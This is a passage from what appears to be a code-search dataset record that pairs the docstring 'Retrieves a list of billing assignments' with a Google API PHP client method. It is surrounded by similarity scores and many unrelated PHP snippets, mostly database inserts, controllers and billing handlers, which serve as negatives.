size, tth, announced)\n VALUES (:site, :filename, :size, :tth, :announced)\";\n $statement = $this->db->prepare($insert);\n\n $statement->bindParam(':site', $announcement->getSite());\n $statement->bindParam(':filename', $announcement->getFilename());\n $statement->bindParam(':size', $announcement->getSize());\n $statement->bindParam(':tth', $announcement->getTth());\n $statement->bindParam(':announced', $announcement->getAnnounced()->format(\\DateTime::ISO8601));\n\n return $statement->execute();\n\n }", "public function create($planData)\n {\n \t$planPurchase \t\t\t\t = new PlanPurchase();\n\t\t$planPurchase->user_id \t\t = $this->user->id;\n\t\t$planPurchase->plan_id \t\t = $planData->plan_id;\n\t\t$planPurchase->country_code = $planData->country_code;\n\t\t$planPurchase->gold_price = (float)$this->plan->gold_price;\n\t\t$planPurchase->transaction_id = $planData->transaction_id;\n\t\t$planPurchase->save();\n\n \t/** Add Chest Capacity value in user's table **/\n \t(new ChestService)->setUser($this->user)->expand($this->plan->bucket);\n \t\n /** Deduct User Gold **/\n $goldBalance = (new UserRepository($this->user))->deductGold($this->plan->gold_price);\n\n \t/** return the available skeleton keys **/\n \treturn ['chest_bucket'=> $this->user->buckets['chests'], 'available_gold_balance'=> $goldBalance];\n }", "public function store(){\n\t\t\n\t\tif( Request::ajax() )\n\t\t{\n\t\t\t$id = Input::get('consultant_id');\n\t\t\t$rules = ConsultantAssignment::getAddRules();\n\t\t\t\n\t\t\t$validator = Validator::make(Input::all(), $rules, ConsultantAssignment::$messages);\n\n\t\t\tif( $validator->fails() ){\n\n\t\t\t\t$errors = $validator->errors()->toArray();\n\n\t\t\t\treturn Response::json(array('success' => false, 'errors' => $errors));\n\t\t\t}\n\n\t\t\t$consultant_assignment = new ConsultantAssignment(Input::all());\n\t\t\t$consultant_assignment->akdn_id = Auth::akdn()->get()->id;\n\t\t\tif($consultant_assignment->save()){\n\n\t\t\t\t$akdn = new Akdn();\n\t\t\t\t$now = New Datetime();\n\t\t\t\t$array['last_award_activity'] = $now;\n\t\t\t\t$akdn->where('id',Auth::akdn()->get()->id)->update($array);\t\n\t\t\t\n\t\t\t}\n\t\t\t$akdn_email = Auth::akdn()->get()->email;\n\t\t\t$akdn_name = Auth::akdn()->get()->other_name.' '.Auth::akdn()->get()->surname;\n\t\t\t\n\t\t\t$consultant = Consultant::select('consultants.other_names','consultants.surname')\n ->leftJoin('consultant_assignments','consultant_assignments.consultant_id','=','consultants.id')\n ->where('consultants.id',$id)->first()->toArray();\n $consultant_name = $consultant['other_names'].' '.$consultant['surname'];\n \n\t\t\t$start_date = date('d-m-Y', strtotime($consultant_assignment->start_date));\n\t\t\t$end_date = date('d-m-Y', strtotime($consultant_assignment->end_date));\n\t\t\t$consultant_assignment_title = $consultant_assignment->title_of_consultancy;\n\n\t\t\t$mail_data = array(\n\t\t\t\t'akdn_name' => $akdn_name,\n\t\t\t\t'start_date' => $start_date,\n\t\t\t\t'end_date' => $end_date,\n\t\t\t\t'consultant_name' => $consultant_name,\n\t\t\t\t'consultant_assignment_title' => $consultant_assignment_title,\n\t\t\t);\n\n\t\t\tMail::send('emails.user.consultantawarded', $mail_data, function($message) use($akdn_email) {\n\t\t\t \n\t\t\t\t\t$message->to($akdn_email)\n\t\t \t\t->subject(\"AKDN’s MER Consultancy Registration Confirmation\");\n\t\t });\n\n\t\t\treturn Response::json(array('success' => true));\n\t\t}\n\t}", "public function assignData($data)\n { \n $controllerName = Mage::app()->getRequest()->getControllerName(); \n if($controllerName == 'onepage')\n $cid = Mage::getSingleton('customer/session')->getCustomer()->getId();\n else\n $cid = Mage::getModel('adminhtml/sales_order_create')->getSession()->getCustomer()->getId();\n $creditInfo = Mage::helper('i95devconnect_creditlimits')->checkAvailabeleBalanceAtGP($cid);\n $isBalance = $creditInfo['AvailableLimit'];\n try\n {\n if ($isBalance < 0 || !Mage::helper('i95devconnect_creditlimits')->checkAvailableBalance($cid))\n Mage::throwException('No sufficient credit balance. Please Check credit balance and try again. Thanks');\n }\n catch (Excepion $ex)\n {\n echo $ex->getMessage();\n Mage::helper('I95DevConnect_Base')->i95devLog(__METHOD__, $ex->getMessage(), \"i95devException\");\n }\n return $this;\n }", "public function insert(ChannelBannerResource $postBody, $optParams = [])\n {\n $params = ['postBody' => $postBody];\n $params = array_merge($params, $optParams);\n return $this->call('insert', [$params], ChannelBannerResource::class);\n }", "public function assignBooking($reference, $referal, $id_adm, $fecha, $id_update, $amountdiscounted){\n $query=\"INSERT INTO `\".DB_PREFIX.\"bookingreferred` ( `id`,\n\t\t\t\t\t\t\t\t\t\t\t\t\t`ref_book`,\n\t\t\t\t\t\t\t\t\t\t\t\t\t`id_referal`,\n\t\t\t\t\t\t\t\t\t\t\t\t\t`id_adm`,\n\t\t\t\t\t\t\t\t\t\t\t\t\t`fecha`,\n\t\t\t\t\t\t\t\t\t\t\t\t\t`id_update`,\n\t\t\t\t\t\t\t\t\t\t\t\t\t`discounted`)\n \t\t\t\t\tVALUES ( NULL ,'\".$this->link->myesc($reference).\"','\".$this->link->myesc($referal).\"','\".$this->link->myesc($id_adm).\"','\".$this->link->myesc($fecha).\"','\".$this->link->myesc($id_update).\"','\".$this->link->myesc($amountdiscounted).\"')\";\n\n $result = $this->link->execute($query);\n return $result;\n\t}", "function insertMembership($conn, $bandID, $soloID) {\n $query = \"INSERT INTO band_membership (band_id, solo_id) VALUES ($bandID, $soloID)\";\n mysqli_query($conn, $query);\n return mysqli_insert_id($conn);\n }", "public function insert()\n\t{\n\t\tif (isset($this->item->params) && $this->item->params instanceof CRegistry) {\n\t\t\t$this->item->params = $this->item->params->toString();\n\t\t}\n\n\t\t$ret = $this->db->insertObject('#__'.$this->table, $this->item);\n\n\t\t//Get the new record id\n\t\t$id = (int)$this->db->insertid();\n\n\t\t$this->setKey($id);\n\n\t\treturn $this;\n\t}", "public function testProjectAssignments() {\n\t\t$api = $this->getApiMock();\n\n\t\t$this->assertInstanceOf( ProjectAssignments::class, $api->projectAssignments() );\n\t}", "public function allocate(int $capacity);", "public function allocate(int $capacity);", "public function paypalBillingAgreementAction() {\n $requestValues = $this->getRequest()->query->all() + $this->getRequest()->request->all();\n $paymentService = $this->get('e2w_payment_service');\n // Token may need to be rawurldecoded:\n $paymentAccount = $paymentService->addBillingAgreement(array(\n 'token'=>isset($requestValues['token']) ? $requestValues['token'] : $requestValues['TOKEN']\n ));\n\n return ($paymentAccount) ? $this->redirect($this->generateUrl('_payment_address', array(), true)) : $this->redirect($this->generateUrl('_dashboard_payment_account', array(), true));\n }", "public function insert_prepared_records($shipment_id,$shipment_code,$scheme_type,$shipment_date,$lastdate_response,$distribution_id,$number_of_samples,$number_of_controls,$response_switch,$max_score,$average_score,$shipment_comment,$created_by_admin,$created_on_admin,$updated_by_admin,$updated_on_admin,$status,$redundancy_check= false, $printSQL = false) {\n\t\t$columns = array('shipment_id','shipment_code','scheme_type','shipment_date','lastdate_response','distribution_id','number_of_samples','number_of_controls','response_switch','max_score','average_score','shipment_comment','created_by_admin','created_on_admin','updated_by_admin','updated_on_admin','status');\n\t\t$records = array($shipment_id,$shipment_code,$scheme_type,$shipment_date,$lastdate_response,$distribution_id,$number_of_samples,$number_of_controls,$response_switch,$max_score,$average_score,$shipment_comment,$created_by_admin,$created_on_admin,$updated_by_admin,$updated_on_admin,$status);\n\t\treturn $this->insert_records_to_shipment ( $columns, $records,$redundancy_check, $printSQL );\n\t}", "public function insert(\\PDO $pdo) {\n\t\t// enforce the applicationsCohortId is null (i.e., don't insert an applicationCohort that already exists)\n\t\tif($this->applicationCohortId !== null) {\n\t\t\tthrow(new \\PDOException(\"not a new applicationCohort\"));\n\t\t}\n\t\t// create query template\n\t\t$query = \"INSERT INTO applicationCohort(applicationCohortId, applicationCohortApplicationId, applicationCohortCohortId) VALUES(:applicationCohortId, :applicationCohortApplicationId, :applicationCohortCohortId)\";\n\t\t$statement = $pdo->prepare($query);\n\t\t// bind the application variables to the place holders in the template\n\t\t$parameters = [\n\t\t\t\"applicationCohortId\" => $this->applicationCohortId,\n\t\t\t\"applicationCohortApplicationId\" => $this->applicationCohortApplicationId,\n\t\t\t\"applicationCohortCohortId\" => $this->applicationCohortCohortId\n\t\t];\n\t\t$statement->execute($parameters);\n\t\t// update the null applicationCohortId with what mySQL just gave us\n\t\t$this->applicationCohortId = intval($pdo->lastInsertId());\n\t}", "public function created(PersonalAssignment $personalAssignment)\n {\n //\n }", "public function store(CampaignRequest $request)\n {\n $campaign = new Campaign();\n $campaign->name = $request->name;\n $campaign->campaign_id = $request->campaign_id;\n $campaign->zeropark_campaign_id= is_null($request->zeropark_campaign_id) ? '':$request->zeropark_campaign_id ;\n $campaign->save();\n return response()->json(['data'=>$campaign,'message'=>'Campaign Created'],201);\n }", "public function store(Request $request)\n {\n //\n $input = $request->all();\n if (!$request->has('interchange_datetime'))\n $input['interchange_datetime'] = Carbon::now()->toDateTimeString();\n $maxasn = Asn::OrderBy('interchange_control_number', 'desc')->first();\n $maxnum = 1;\n if (isset($maxasn))\n $maxnum = $maxasn->interchange_control_number + 1;\n $maxnum = str_pad($maxnum, 9, \"0\", STR_PAD_LEFT);\n $input['interchange_control_number'] = $maxnum;\n if (!$request->has('data_interchange_datetime'))\n $input['data_interchange_datetime'] = Carbon::now()->toDateTimeString();\n if (!$request->has('transaction_set_control_no'))\n $input['transaction_set_control_no'] = \"0001\";\n// dd($input);\n\n $asn = Asn::create($input);\n if (isset($asn))\n {\n $input['asn_id'] = $asn->id;\n Asnshipment::create($input);\n }\n\n return redirect('purchase/asns');\n }", "function insert()\n\t{\n\t\t//@TODO email advisor and student(?)\n\t\t$kReport = $this->report->insert();\n\t\tif($this->input->post(\"email_advisor\")){\n\t\t\t$this->notify($kReport);\n\t\t}\n\t\tredirect(\"report/view/$kReport\");\n\t}" ]
[ "0.522903", "0.5226232", "0.51708555", "0.49826762", "0.4742517", "0.47291124", "0.4624129", "0.46131203", "0.46039164", "0.45879176", "0.45495614", "0.4543962", "0.45149127", "0.45074227", "0.4470292", "0.44189334", "0.4390513", "0.4387687", "0.43753195", "0.43630984", "0.43554503", "0.43528935", "0.43306196", "0.43194106", "0.4315435", "0.43035838", "0.42863947", "0.42831093", "0.42643362", "0.4251846", "0.42463228", "0.42408055", "0.42379475", "0.42211568", "0.4216719", "0.42096266", "0.4196667", "0.41923475", "0.41889545", "0.41883507", "0.41870537", "0.41844305", "0.4171854", "0.41590974", "0.4157429", "0.4150857", "0.41423652", "0.41408592", "0.41388938", "0.41384098", "0.4133832", "0.41305918", "0.41235778", "0.41206062", "0.41201735", "0.41145685", "0.41067803", "0.40939337", "0.40902907", "0.4085776", "0.40825525", "0.40802413", "0.4079981", "0.4075583", "0.40677735", "0.40558904", "0.40545183", "0.40507868", "0.4046675", "0.4046298", "0.40421373", "0.40387616", "0.403614", "0.4035509", "0.40307987", "0.40294227", "0.40280578", "0.4026272", "0.40182564", "0.40173647", "0.40153778", "0.40153638", "0.40047204", "0.40028828", "0.40028268", "0.3996581", "0.39951628", "0.3994236", "0.39915186", "0.3990203", "0.39841965", "0.3983574", "0.3983574", "0.39788336", "0.39729074", "0.39716056", "0.39701885", "0.39699504", "0.39649874", "0.39646348" ]
0.6681009
0
Retrieves a list of billing assignments. (billingAssignments.listBillingAssignments)
public function listBillingAssignments($profileId, $billingProfileId, $optParams = []) { $params = ['profileId' => $profileId, 'billingProfileId' => $billingProfileId]; $params = array_merge($params, $optParams); return $this->call('list', [$params], BillingAssignmentsListResponse::class); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function getAssignments()\n {\n return $this->queryBuilder('tx_deepl_settings')->select('*')\n ->from('tx_deepl_settings')\n ->execute()\n ->fetchAll();\n }", "public function listBillingAccounts($optParams = array())\n {\n $params = array();\n $params = array_merge($params, $optParams);\n return $this->call('list', array($params), \"Google_Service_Cloudbilling_ListBillingAccountsResponse\");\n }", "public function getAssignments()\n {\n if (array_key_exists(\"assignments\", $this->_propDict)) {\n return $this->_propDict[\"assignments\"];\n } else {\n return null;\n }\n }", "public function getAssignments(): array;", "public function getAuthAssignments(){\n return array_keys(Yii::app()->getAuthManager()->getAuthAssignments($this->id));\n }", "public function getBillingAddressIds()\n {\n return $this->billingAddressIds;\n }", "function &getIncompleteReviewAssignments() {\n\t\t$reviewAssignments = array();\n\t\t$reviewRoundJoinString = $this->getReviewRoundJoin();\n\t\tif ($reviewRoundJoinString) {\n\t\t\t$result =& $this->retrieve(\n\t\t\t\t\t\t'SELECT\tr.*, r2.review_revision, u.first_name, u.last_name\n\t\t\t\t\t\tFROM\treview_assignments r\n\t\t\t\t\t\t\tLEFT JOIN users u ON (r.reviewer_id = u.user_id)\n\t\t\t\t\t\t\tLEFT JOIN review_rounds r2 ON (' . $reviewRoundJoinString . ')\n\t\t\t\t\t\tWHERE' . $this->getIncompleteReviewAssignmentsWhereString() .\n\t\t\t\t\t\t' ORDER BY r.submission_id'\n\t\t\t);\n\n\t\t\twhile (!$result->EOF) {\n\t\t\t\t$reviewAssignments[] =& $this->_fromRow($result->GetRowAssoc(false));\n\t\t\t\t$result->MoveNext();\n\t\t\t}\n\n\t\t\t$result->Close();\n\t\t\tunset($result);\n\t\t} else {\n\t\t\tassert(false);\n\t\t}\n\n\t\treturn $reviewAssignments;\n\t}", "public static function getAssignments($bannerId) {\n $sah = new StudentAssignmentHistory($bannerId);\n return $sah;\n }", "public function get_assignments(){\n if($this->ID != NULL){\n $sql = \"SELECT ID FROM assignment WHERE Task=\".$this->ID.\";\";\n $myAssignmentIDs = $this->get_by_query($sql);\n $myAssignmentsList = array();\n foreach ($myAssignmentIDs as &$aID) {\n $myAssignment = new Assignment();\n $myAssignment = $myAssignment->get_by_ID($aID['ID']);\n array_push($myAssignmentsList, $myAssignment);\n }\n return $myAssignmentsList;\n }\n }", "public function getBillingReport()\n {\n list($response) = $this->getBillingReportWithHttpInfo();\n return $response;\n }", "public function getBilling()\n {\n return $this->billing;\n }", "public function getBilling()\n {\n return $this->billing;\n }", "public function getBillingFields() {\n\t\treturn $this->billingDetails;\n\t}", "public function getBillingDetails()\n {\n return $this->_billing;\n }", "public function getBilling()\n {\n return isset($this->billing) ? $this->billing : null;\n }", "public function getBillingCountries()\n {\n if (!isset($this->arrCache['billingCountries'])) {\n\n $arrCountries = deserialize($this->billing_countries);\n\n if (empty($arrCountries) || !is_array($arrCountries)) {\n $arrCountries = array_keys(\\System::getCountries());\n }\n\n $this->arrCache['billingCountries'] = $arrCountries;\n }\n\n return $this->arrCache['billingCountries'];\n }", "public function getBillingFields()\n {\n if (!isset($this->arrCache['billingFields'])) {\n\n $this->arrCache['billingFields'] = array_filter(array_map(\n function($field) {\n return $field['enabled'] ? $field['value'] : null;\n },\n $this->getBillingFieldsConfig()\n ));\n\n }\n\n return $this->arrCache['billingFields'];\n }", "public function getBillingAddresses()\n {\n return $this->morphMany(Address::class, 'addressable', ['type' => Address::TYPE_BILLING]);\n }", "function &getReviewAssignments() {\r\n\t\treturn $this->reviewAssignments;\r\n\t}", "public function getBillingReference()\n {\n return $this->billingReference;\n }", "public function getBillingReference()\n {\n return $this->billingReference;\n }", "public function getBillingFields()\n {\n $aRequiredFields = $this->getRequiredFields();\n\n return $this->_filterFields($aRequiredFields, 'oxuser__');\n }", "public function billingInfos() {\n return new BillingInfo($this);\n }", "function getAssignmentList($subtaskId)\n {\n $rs = $this->dbQuery(\n 'SELECT * FROM assignmnts ' .\n 'WHERE subtask_id=' . $subtaskId . ' ' .\n 'AND year=' . $this->schoolyear\n );\n return $rs;\n }", "public function getAccountingList() {\n $accountingListQuery = \"SELECT es_fa_groupsid,fa_groupname,fa_undergroup FROM dlvry_fa_groups\";\n $accountingListData = $this->db->query($accountingListQuery);\n $accountingListResult = $accountingListData->result_array();\n return $accountingListResult;\n }", "public function getBillingData(): array\n {\n return [\n 'billing.street1' => 'Wilaya center, Avenue Ali Yaeta, étage 3, n 31, Tétouan',\n 'billing.city' => 'TETOUAN',\n 'billing.state' => 'TETOUAN',\n 'billing.country' => 'MA',\n 'billing.postcode' => '35000',\n ];\n }", "public function getAssignments()\n {\n if (array_key_exists(\"assignments\", $this->_propDict)) {\n if (is_a($this->_propDict[\"assignments\"], \"\\Beta\\Microsoft\\Graph\\Model\\PlannerFieldRules\") || is_null($this->_propDict[\"assignments\"])) {\n return $this->_propDict[\"assignments\"];\n } else {\n $this->_propDict[\"assignments\"] = new PlannerFieldRules($this->_propDict[\"assignments\"]);\n return $this->_propDict[\"assignments\"];\n }\n }\n return null;\n }", "public function listBillingAccountsProjects($name, $optParams = array())\n {\n $params = array('name' => $name);\n $params = array_merge($params, $optParams);\n return $this->call('list', array($params), \"Google_Service_Cloudbilling_ListProjectBillingInfoResponse\");\n }", "public function getBilling();", "public function setBilling($billing);", "public function setBilling($var)\n {\n GPBUtil::checkMessage($var, \\Google\\Storage\\V2\\Bucket\\Billing::class);\n $this->billing = $var;\n\n return $this;\n }", "public function getBillingThresholds()\n {\n return $this->billingThresholds;\n }", "public function getAssignments($where = null)\n {\n $values = [];\n $cond = $where ? ' where ' . self::buildWhere($where, $values) : '';\n $stmt = $this->db->prepare('select * from assignments ' . $cond);\n\n if (!$stmt->execute($values)) {\n throw new Exception($this->getPDOError('Cannot get assignments list.'), E_APP_GET_ASSIGNMENTS);\n }\n\n $rows = [];\n while ($e = $stmt->fetch(PDO::FETCH_ASSOC)) {\n $e['id'] = intval($e['id']);\n $e['event'] = intval($e['event']);\n $e['resource'] = intval($e['resource']);\n $e['units'] = floatval($e['units']);\n $rows[] = $e;\n }\n\n return $rows;\n }", "public function all(): array\n {\n return Billingo::get('bank_accounts');\n }", "private function sortAssignments(array $projectAssignments): array\n {\n $projectAssignmentsSorted = [];\n foreach ($projectAssignments as $projectAssignment) {\n $projectAssignmentsSorted[$projectAssignment['data']['number']] = $projectAssignment;\n }\n ksort($projectAssignmentsSorted);\n\n return array_values($projectAssignmentsSorted);\n }", "public function getBillingReportAsync()\n {\n return $this->getBillingReportAsyncWithHttpInfo()\n ->then(\n function ($response) {\n return $response[0];\n }\n );\n }", "public function getBillingAccountId()\n {\n return $this->billingAccountId;\n }", "public function getAssignments(): ?array {\n $val = $this->getBackingStore()->get('assignments');\n if (is_array($val) || is_null($val)) {\n TypeUtils::validateCollectionValues($val, DeviceHealthScriptAssignment::class);\n /** @var array<DeviceHealthScriptAssignment>|null $val */\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'assignments'\");\n }", "public function index()\n {\n $records = AssetAssignment::all();\n \n return $this->sendResponse(AssetAssignResource::collection($records), 'Records retrieved successfully.');\n }", "public function getBillings($filter = null) {\n $billingTable = new Yourdelivery_Model_DbTable_Billing();\n $all = $billingTable->fetchAll('mode=\"company\" AND refId=\"' . $this->getId() . '\"');\n $storage = new splObjectStorage();\n foreach ($all AS $bill) {\n try {\n $bill = new Yourdelivery_Model_Billing($bill->id);\n } catch (Yourdelivery_Exception_Database_Inconsistency $e) {\n continue;\n }\n $storage->attach($bill);\n }\n return $storage;\n }", "public function getPaymentplans() {\n return $this->paymentPlans;\n }", "public function getAssociateRoleAssignments()\n {\n return $this->associateRoleAssignments;\n }", "public function paypalBillingAuthorizationAction() {\n $requestValues = $this->getRequest()->query->all() + $this->getRequest()->request->all();\n $paymentService = $this->get('e2w_payment_service');\n\n $cancel = isset($requestValues['cancel']) ? $requestValues['cancel'] : $this->generateUrl('_dashboard', array(), true);\n\n $url = $paymentService->getAuthorizeBillingUrl(array(\n 'cancel'=> $cancel,\n 'return'=> $this->generateUrl('_paypal_billing_agreement', array(), true)\n ));\n\n return $url ? $this->redirect($url) : $this->redirect($this->generateUrl('_dashboard_payment_account', array(), true));\n }", "public function getAddressBilling()\n {\n return $this->addressBilling;\n }", "public function getBillingModeAllowableValues()\r\n {\r\n return [\r\n self::BILLING_MODE_YEARLY_MONTHLY,\r\n self::BILLING_MODE_PAY_PER_USE,\r\n ];\r\n }", "public function listAccounts()\n {\n return $this->execute('listaccts', []);\n }", "public function setBillingReference(array $billingReference)\n {\n $this->billingReference = $billingReference;\n return $this;\n }", "public function setBillingReference(array $billingReference)\n {\n $this->billingReference = $billingReference;\n return $this;\n }", "public function getSveaBillingReferences(): array\n {\n // We skip the API call to check for them in other cases\n $isCompany = $this->getInfo()->getAdditionalInformation('is_company');\n $isInvoicePayment = ('INVOICE' === $this->getSveaPaymentMethod());\n if (!$isCompany || !$isInvoicePayment) {\n return [];\n }\n\n $handler = $this->getSveaOrderManagement();\n $handler->resetCredentials($this->getMethod()->getStore());\n try {\n $sveaOrder = $handler->getOrder($this->getSveaCheckoutId());\n return $sveaOrder->getBillingReferences();\n } catch (\\Exception $e) {\n return [];\n }\n }", "public function getAssignmentsForClass($class_id) {\n return $this->get('get_assignments_for_class', ['class_id' => $class_id]);\n }", "public function getBillingFields()\n {\n $attributes = $this->getCollection()\n ->addFieldToFilter(\n 'is_used_for_onestepcheckout', array(\n 'neq' => '',\n )\n )\n ->addFieldToFilter(\n 'is_billing', array(\n 'eq' => 1,\n )\n );\n $attributes->setOrder('position', Varien_Data_Collection::SORT_ORDER_ASC);\n\n return $attributes;\n }", "public function getAssignments($userId)\n {\n if (empty($userId)) {\n return [];\n }\n\n $query = (new Query)\n ->from(Yii::$app->getModule('user-management')->auth_assignment_table)\n ->where(['user_id' => (string) $userId]);\n\n $assignments = [];\n foreach ($query->all() as $row) {\n $assignments[$row['item_name']] = new Assignment([\n 'userId' => $row['user_id'],\n 'roleName' => $row['item_name'],\n 'createdAt' => $row['created_at'],\n ]);\n }\n\n return $assignments;\n }", "public function testProjectAssignments() {\n\t\t$api = $this->getApiMock();\n\n\t\t$this->assertInstanceOf( ProjectAssignments::class, $api->projectAssignments() );\n\t}", "protected function transformBilling($notification)\n {\n $billing = [];\n\n if ($notification->billing) {\n $billing['message'] = $this->translator->trans('notifications.billing', [':commission' => $notification->value]);\n $billing['type'] = 'billing';\n }\n\n return $billing;\n }", "public function getAwardIdList()\n {\n $sql = \"SELECT id FROM casino_award \";\n return $this->_rdb->fetchAll($sql);\n }", "public function getBillingEmailArray()\n {\n $emails = str_replace(\";\", \",\", $this->email);\n return explode(',', $emails);\n }", "function &getCancelsAndRegrets($submissionId) {\n\t\t$reviewAssignments = array();\n\t\t$reviewRoundJoinString = $this->getReviewRoundJoin();\n\n\t\tif ($reviewRoundJoinString) {\n\t\t\t$result =& $this->retrieve(\n\t\t\t\t\t\t'SELECT\tr.*, r2.review_revision, u.first_name, u.last_name\n\t\t\t\t\t\tFROM\treview_assignments r\n\t\t\t\t\t\t\tLEFT JOIN users u ON (r.reviewer_id = u.user_id)\n\t\t\t\t\t\t\tLEFT JOIN review_rounds r2 ON (' . $reviewRoundJoinString . ')\n\t\t\t\t\t\tWHERE\tr.submission_id = ? AND\n\t\t\t\t\t\t\t(r.cancelled = 1 OR r.declined = 1)\n\t\t\t\t\t\tORDER BY round, review_id',\n\t\t\t(int) $submissionId\n\t\t\t);\n\n\t\t\twhile (!$result->EOF) {\n\t\t\t\t$reviewAssignments[] =& $this->_fromRow($result->GetRowAssoc(false));\n\t\t\t\t$result->MoveNext();\n\t\t\t}\n\n\t\t\t$result->Close();\n\t\t\tunset($result);\n\t\t} else {\n\t\t\tassert(false);\n\t\t}\n\n\t\treturn $reviewAssignments;\n\t}", "public function getDeploymentAssignments(): ?array {\n $val = $this->getBackingStore()->get('deploymentAssignments');\n if (is_array($val) || is_null($val)) {\n TypeUtils::validateCollectionValues($val, AndroidFotaDeploymentAssignment::class);\n /** @var array<AndroidFotaDeploymentAssignment>|null $val */\n return $val;\n }\n throw new \\UnexpectedValueException(\"Invalid type found in backing store for 'deploymentAssignments'\");\n }", "private function getList()\n\t{\n\t\t// Get the correct billboards collection to display from the parameters\n\t\t$collection = (int) $this->params->get('collection', 1);\n\n\t\t// Grab all the buildboards associated with the selected collection\n\t\t// Make sure we only grab published billboards\n\t\t$rows = Billboard::whereEquals('published', 1)\n\t\t ->whereEquals('collection_id', $collection)\n\t\t ->order('ordering', 'asc')\n\t\t ->rows();\n\n\t\treturn $rows;\n\t}", "public function index(IndexBillingAccount $request)\n {\n // create and AdminListing instance for a specific model and\n $data = AdminListing::create(BillingAccount::class)->processRequestAndGet(\n // pass the request with params\n $request,\n\n // set columns to query\n ['id', 'name', 'address', 'phone', 'email'],\n\n // set columns to searchIn\n ['id', 'name', 'address', 'phone', 'email'],\n function($query) use ($request){\n if($request->has('project_id')){\n $query->where('project_id', $request->get('project_id'));\n }\n }\n ); \n\n if ($request->ajax()) {\n if ($request->has('bulk')) {\n return [\n 'bulkItems' => $data->pluck('id')\n ];\n }\n return ['data' => $data];\n }\n\n return view('admin.billing-account.index', ['data' => $data]);\n }", "public function getBillingType()\n {\n return $this->billingType;\n }", "public function getBillingType()\n {\n return $this->billingType;\n }", "public static function collectsBillingAddress()\n {\n return static::$collectsBillingAddress;\n }", "public function getBillingAction() \n\t{\n\t\t$this->_ajaxValidation();\t\t\n\t\t$response['content']=$this->_getBillingHtml();\n\t\t$this->getResponse()->setBody(json_encode($response));\n\t}", "public function getBillingTo()\n {\n return $this->billing_to;\n }", "public static function getAllDepartmentAcronyms()\n {\n\n return DB::table('l_contracts')\n ->select(['owner_acronym'])\n ->orderBy('owner_acronym')\n ->distinct()\n ->pluck('owner_acronym')\n ->toArray();\n }", "public function getActivePermissionsList() {\n\n\t\tif ( !$data = Permission::select('id', 'title')->active()->get() ) {\n\t\t\treturn [];\n\t\t}\n\n\t\t$output = [];\n\t\tforeach ( $data as $item ) {\n\t\t\t$output[ $item->id ] = $item->title;\n\t\t}\n\n\t\treturn $output;\n\t}", "public function setBilling($billing)\n {\n $this->billing = $billing;\n\n return $this;\n }", "public function getBillingProfile();", "public function getPayableGLAccountsList(): array\n {\n return $this->payableGLAccountList;\n }", "public function getBillingName(){\n return $this->_getData(self::BILLING_NAME);\n }", "public function getBillingAddress(){\n return $this->_getData(self::BILLING_ADDRESS);\n }", "public function banks()\n {\n return Cache::remember('banks', $this->cacheTime, function () {\n return collect(Paymentmethods::getBanks(10))->pluck('name', 'id');\n });\n }", "public function setBillingThresholds($billingThresholds): self\n {\n $this->billingThresholds = $billingThresholds;\n\n return $this;\n }", "function getPaypalBillingAddress()\n {\n return $this->getPaypalAddress('billing');\n }", "public function all(array $options = []) : AbstractCollection\n {\n $response = $this->getHttpClient()->get('task_assignments', [RequestOptions::QUERY => $options]);\n return $this->getCollectionFromResponse(ProjectTaskAssignmentCollection::class, $response);\n }", "public function index($bill_id)\n\t{\n\t\treturn $this->payments->get_bill_payments($bill_id);\n\t}", "public function removeAssignments()\n {\n return Yii::$app->authManager->revokeAll($this->user->id);\n }", "public function getBillingAddress() {\r\n\r\n\t\tself::errorReset();\r\n\t\t$this->reload();\r\n\t\treturn $this->billingAddress;\r\n\t}", "public function getBillingArray($billingAddress)\n {\n $billingAddressArray = $billingAddress->toArray(\n array(\n 'street',\n 'company',\n 'city',\n 'country_id',\n 'region',\n 'region_id',\n 'email',\n 'firstname',\n 'lastname',\n 'telephone',\n 'postcode',\n )\n );\n\n unset($billingAddressArray['items']);\n unset($billingAddressArray['totals']);\n unset($billingAddressArray['rates']);\n\n return $billingAddressArray;\n }", "public function display_billing()\n\t{\n\t\t$this->call_member('display_billing_'.g::$pages[$this->page_index + 2], 'display_billing_hist');\n\t}", "public function getAssignedCompaniesIds()\n {\n $assignedCompanies = $this->getAssignedCompanies();\n $assignedIds = [];\n foreach ($assignedCompanies as $companyId => $isAssigned) {\n if ($isAssigned) {\n $assignedIds[] = $companyId;\n }\n }\n return $assignedIds;\n }", "public function show(BillingAccount $billingAccount)\n {\n $this->authorize('admin.billing-account.show', $billingAccount);\n\n // TODO your code goes here\n }", "public function getBillingState()\n {\n return $this->getParameter('billingState');\n }", "public function getBillingMethodAllowableValues()\n {\n return [\n self::BILLING_METHOD_ACTUAL_RATES,\n self::BILLING_METHOD_FIXED_FEE,\n self::BILLING_METHOD_NOT_TO_EXCEED,\n self::BILLING_METHOD_OVERRIDE_RATE,\n ];\n }", "function getPostingList() {\n return getAll(\"SELECT b.* \n FROM member_posting a \n INNER JOIN posting b \n ON a.posting_id = b.id \n WHERE a.member_id = ?\"\n , [getLogin()['mid']]);\n}", "function getAccounts() {\n $stmt = $this->pdo->query('SELECT * FROM get_accounts()');\n $accounts = [];\n while ($row = $stmt->fetch()) {\n $accounts[] = [\n 'id' => $row['id'],\n 'first_name' => $row['first_name'],\n 'last_name' => $row['last_name'],\n 'plan' => $row['plan'],\n 'effective_date' => $row['effective_date']\n ];\n }\n return $accounts;\n }", "public function getAccountUsedForPaymentAllowableValues()\n {\n return [\n self::ACCOUNT_USED_FOR_PAYMENT_IBAN,\n self::ACCOUNT_USED_FOR_PAYMENT_BBAN,\n self::ACCOUNT_USED_FOR_PAYMENT_BANKGIRO,\n self::ACCOUNT_USED_FOR_PAYMENT_PLUSGIRO,\n ];\n }", "public static function get_access_lists() { \n\n\t\t$sql = \"SELECT `id` FROM `access_list`\";\n\t\t$db_results = Dba::read($sql);\n\t\n\t\t$results = array(); \n\t\n\t\t// Man this is the wrong way to do it...\n\t\twhile ($row = Dba::fetch_assoc($db_results)) {\n\t\t\t$results[] = $row['id'];\n\t\t} // end while access list mojo\n\n\t\treturn $results;\n\n\t}", "public static function getAllBannerCampaigns()\n {\n return self::resultSetToObjArray(\n self::$db->fetchColumn('SELECT banner_campaign_id FROM website.banner_campaign')\n );\n }", "function get_all_assignments()\n {\n $this->db->order_by('assignID', 'asc');\n $this->db->where('status !=', 'Archived ');\n return $this->db->get('assignments')->result_array();\n }", "public function getBillingAddress();", "public function getBillingAddress();", "public function billingIsActive()\n {\n return 